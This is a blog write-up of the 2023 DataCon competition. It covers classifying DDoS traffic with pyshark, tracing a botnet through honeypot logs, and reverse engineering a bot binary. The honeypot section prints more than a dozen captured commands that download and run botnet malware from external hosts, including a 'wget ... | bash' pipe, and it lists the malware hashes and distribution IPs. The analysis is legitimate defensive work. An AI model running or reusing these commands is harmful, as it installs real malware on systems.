2023 DataCon大数据安全分析竞赛 WriteUp

互联网威胁溯源

题目一:形形色色的DDoS

分析

根据题目描述,攻击者采用了多种DDoS攻击方法,找出这些攻击流量,并将攻击类型相同的源IP进行归类。

分析题目提供的流量包,wireshark打开。

观察到多种ddos流量。

SYN Flood Attack

流量特征:仅有一个tcp包。

UDP Flood Attack

流量特征:协议为UDP,内容杂乱。

NTP Reply Flood Attack

流量特征:协议为NTP

CC Attack

流量特征:具有完整的TCP流量包。

此次ddos中CC攻击有两种形式:

第一种(示例)
1
2
3
4
5
6
GET / HTTP/1.1
Connection: keep-alive
X-a: datacon2023-1278
X-a: datacon2023-591
X-a: datacon2023-452
X-a: datacon2023-815
第二种(示例)
1
2
3
4
5
6
7
8
GET / HTTP/1.1
Connection: keep-alive
Content-Length: 1000

X-a: datacon2023-256
X-a: datacon2023-968
X-a: datacon2023-236
X-a: datacon2023-808

更新于2023/12/10

wp终于出了,原来这两个分别是慢速http header泛洪攻击慢速http payload泛洪攻击,区别是:第一种会定期向目标发送部分请求标头,以使请求保持活动状态;第二种会发送一个值很大的Content-Length字段,之后慢慢发送少量字节的数据包,主机就会认为该请求包存在payload没有发完,因此会维持连接。

解答

设置过滤器,编写脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
import pyshark

tshark=r"C:\sec\Wireshark\tshark.exe" # 本地tshark路径
pcap='../pcap.pcapng' # 本地pcap位置

# 读取pcap文件并分类
udp_cap = pyshark.FileCapture(pcap, display_filter='udp',tshark_path=tshark)
ntp_cap = pyshark.FileCapture(pcap, display_filter='ntp',tshark_path=tshark)
tls_cap = pyshark.FileCapture(pcap, display_filter='tls',tshark_path=tshark)
cc2_cap= pyshark.FileCapture(pcap, display_filter='tcp.flags.syn==1 && tcp.options', tshark_path=tshark)
syn_cap= pyshark.FileCapture(pcap, display_filter='tcp.flags.syn==1', tshark_path=tshark)

# 观察到最后时间段除了一个ip以外都是cc1末流量包
cc1_cap=pyshark.FileCapture(pcap, display_filter='frame.time_relative>=100.053', tshark_path=tshark)
get_except=("92.126.115.64")

target=('93.224.28.177') # 被ddos机ip

# 用于存储IP地址的集合
udp_list = set()
ntp_list = set()
tls_list=set()
cc2_list=set()
syn_list=set()
cc1_list=set()

for packet in cc1_cap:
try:
source_ip = packet.ip.src
if source_ip not in target and source_ip not in get_except:
cc1_list.add(source_ip)
except AttributeError:
pass

for packet in cc2_cap:
try:
source_ip = packet.ip.src
if source_ip not in target and source_ip not in cc1_list:
cc2_list.add(source_ip)
except AttributeError:
pass

for packet in syn_cap:
try:
source_ip = packet.ip.src
if source_ip not in target and source_ip not in cc2_list and source_ip not in cc1_list:
syn_list.add(source_ip)
except AttributeError:
pass

for packet in tls_cap:
try:
source_ip = packet.ip.src
if source_ip not in target:
tls_list.add(source_ip)
except AttributeError:
pass

for packet in ntp_cap:
try:
source_ip = packet.ip.src
if source_ip not in target:
ntp_list.add(source_ip)
except AttributeError:
pass

for packet in udp_cap:
try:
source_ip = packet.ip.src
if source_ip not in ntp_list and source_ip not in target:
udp_list.add(source_ip)
except AttributeError:
pass


# 将IP地址导出到txt文件
with open('q1_answer.txt', 'w') as f:
f.write(','.join(udp_list))
f.write('\n')
f.write(','.join(ntp_list))
f.write('\n')
f.write(','.join(cc2_list))
f.write('\n')
f.write(','.join(syn_list))
f.write('\n')
f.write(','.join(cc1_list))

题目二:威胁情报的关联分析

分析

题目描述:选手点击下载该题提供的文件,本文件是部分公网蜜罐日志。已知本次的DDoS攻击由僵尸网络团伙发起,该团伙传播了两种恶意样本文件。在本次攻击中,该团伙利用CVE-2019-7238漏洞组建僵尸网络。请找到这两种恶意样本文件,并给出每种恶意样本文件的MD5以及每种恶意样本文件在蜜罐日志的传播源IP和下载站IP(作答时只需给出IP即可,无需具体指定每个IP是传播源还是下载站)。

下载提供的honeylog.json,观察发现,大部分传输恶意样本文件的流量均使用了wget协议来下载恶意样本,因此可以将带有wget的字符串过滤出来。

根据题目描述的CVE-2019-7238,其漏洞利用路径为/service/extdirect,可以通过这个路径找到一个恶意样本。

解答

编写提取wget字符串的脚本,脚本提取方式为识别wget wget+wget%为前缀,;)为后缀的字符串。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
wget_lines = set()
with open('honeylog.json', 'r') as file:
for line in file:
line = line.strip()
if 'wget ' in line or 'wget%' in line or 'wget+' in line:
begin_index=line.find('wget')
ll=[len(line)]
if line.find(';')!=-1:
ll.append(line.find(';'))
if line.find(')')!=-1:
ll.append(line.find(')'))
end_index = min(ll)
wget_lines.add(line[begin_index:end_index])

# 将满足条件的行写入2.txt
with open('2.txt', 'w') as file:
file.write('\n'.join(wget_lines))

运行脚本后,得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
wget http://miori.lol/miori.arm7 && chmod 777 miori.arm7 && ./miori.arm7 selfrep.vigor && rm -rf miori.arm7
wget -g 103.178.232.12 -l /tmp/.oxy -r /mips
wget -g 107.173.231.76 -l /tmp/.oxy -r /mips
wget http://112.192.5.28:8888/koba -O /tmp/koba && cd /tmp && chmod +x koba && ./koba &"}}
wget -g 143.198.91.91 -l /tmp/.oxy -r /mips
wget -g 193.233.193.12 -l /tmp/.oxy -r /yeye/yeye.mips
wget -g 103.183.118.160 -l /tmp/.oxy -r /mips
wget http://download.asyncfox.xyz/download/dupa2.sh -O- | bash
wget -g 109.98.208.52 -l /tmp/.oxy -r /mips
wget http://46.29.166.61/arm7 && chmod 777 arm7 && ./arm7 selfrep.vigor && rm -rf arm7
wget http://74.209.210.114:8888/caesar -O /tmp/caesar && cd /tmp && chmod +x caesar && ./caesar &
wget http://149.129.92.9:8888/caesar -O /tmp/caesar && cd /tmp && chmod +x caesar && ./caesar &
wget -g 64.227.121.58 -l /tmp/.oxy -r /mips
wget http://45.95.146.26/miori.arm7 && chmod 777 miori.arm7 && ./miori.arm7 selfrep.vigor && rm -rf miori.arm7

其中caesar,koba在大网环境中可以成功下载,使用md5sum计算样本md5值,编写脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import json
caesar_set = set()
caesar_set.add('74.209.210.114')
caesar_set.add('149.129.92.9')

koba_set=set()
koba_set.add('112.192.5.28')

# 读取文件
with open('honeylog.json', 'r') as file:
# 逐行读取
for line in file:
if 'caesar' in line:
try:
data = json.loads(line)
src_ip = data.get('src_ip')
if src_ip:
caesar_set.add(src_ip)
except:
pass
if 'koba' in line:
try:
data = json.loads(line)
src_ip = data.get('src_ip')
if src_ip:
koba_set.add(src_ip)
except:
pass

with open('md5_file.txt','w') as f:
f.write('82f485f6d3dbad747ef307158fc7ea48:')
f.write(','.join(caesar_set))
f.write('\n')
f.write('e4d87fc7fd025213a86b0db38b147375:')
f.write(','.join(koba_set))

得到答案:

1
2
82f485f6d3dbad747ef307158fc7ea48:149.129.92.9,74.209.210.114,194.216.26.179
e4d87fc7fd025213a86b0db38b147375:112.192.5.28,195.220.160.50

题目四:消失的窃密流量

分析

题目描述:找到窃密流量最终流向的服务器IP,并根据目前掌握的线索给出**此次攻击事件中(DDoS+窃密)**明确被控的主机IP;请给出原始被窃取文件的MD5。

我们队伍只找到了部分DDoS的被控ip。

解答

使用ida反编译caesar文件,进入main函数

进入函数sub_33F9中,发现其调用了多次sub_3A91函数

进入sub_3A91函数发现是将函数地址写入一个ptr变量。

查找ptr的调用者,观察到sub_387A函数

经过分析,该函数是将每个存入的函数地址都进行调用

回到sub_33F9函数中,发现可疑函数sub_5841和sub_6249,进入后发现其均为ddos中发起cc攻击的函数

sub_5841:

sub_6249:

因此,将第一题中的cc攻击ip导入进来即可,编写脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
url_set=set()

q1=open('q1_answer.txt','r')
q1.readline()
q1.readline()
for i in q1.readline().strip().split(','):
url_set.add(i)
q1.readline()
for i in q1.readline().strip().split(','):
url_set.add(i)
q1.close()

q3='153.97.92.169'
with open('q4_answer.txt','w') as f:
f.write(q3)
f.write('\n')
f.write(','.join(url_set))
f.write('\n')

得到25%的分数。

邮件安全

题目二:新型邮件炸弹攻击

编写脚本,提取前10000权重的网址。

1
2
3
4
5
6
7
8
9
10
mails=[]
with open('top_mail.csv','r') as file:
for i in file:
a=i.split(',')
if int(a[0])>10000:
break
else:
mails.append(a[1])
with open('top_10000_mails.txt','w') as f:
f.write(''.join(mails))

从上到下,依次测试发送邮件。

使用已注册邮箱,如qq.com、gmail.com等发送邮件。

总结

最开始以为比赛会很难,但是感觉难度还可以?

可惜的是互联网威胁溯源到后面逆向的时候就开始乏力了,做不出来题,感觉该逆的都逆了,该脱壳也手脱了,检查点也一次没少,但就是找不到答案的IP地址,等赛后看看别人的wp吧。

邮件安全那道题单纯的打着玩,发了两个小时的邮件。

贴一部分的比赛题目:

互联网威胁溯源.zip
top_mail.csv

更新于2023/12/10

官方wp已出,仔细看了一下,发现其实自己没分析出来的东西还有很多,其中找ip地址的时候我也尝试过向169.196.166.199: 16996发包,官方wp是用python发送的,我是直接用nc -u发的包,但是没收到返回的信息,导致我以为它的环境已经关了,于是没了头绪。

当时以为自己都看的差不多,但现在想了一下,其实我做出来的可能也就一半左右,原因大体上可能是对C2僵尸网络的原理处于不了解的状态,甚至我觉得是对一个领域的整体架构没有构建起来。

最后把官方wp贴上吧:DataCon2023互联网威胁溯源赛道,冠军战队WP分享 (qq.com)


2023 DataCon大数据安全分析竞赛 WriteUp
https://blog.lazyforever.top/2023/11/16/2023datacon/
作者
lazy_forever
发布于
2023年11月16日
许可协议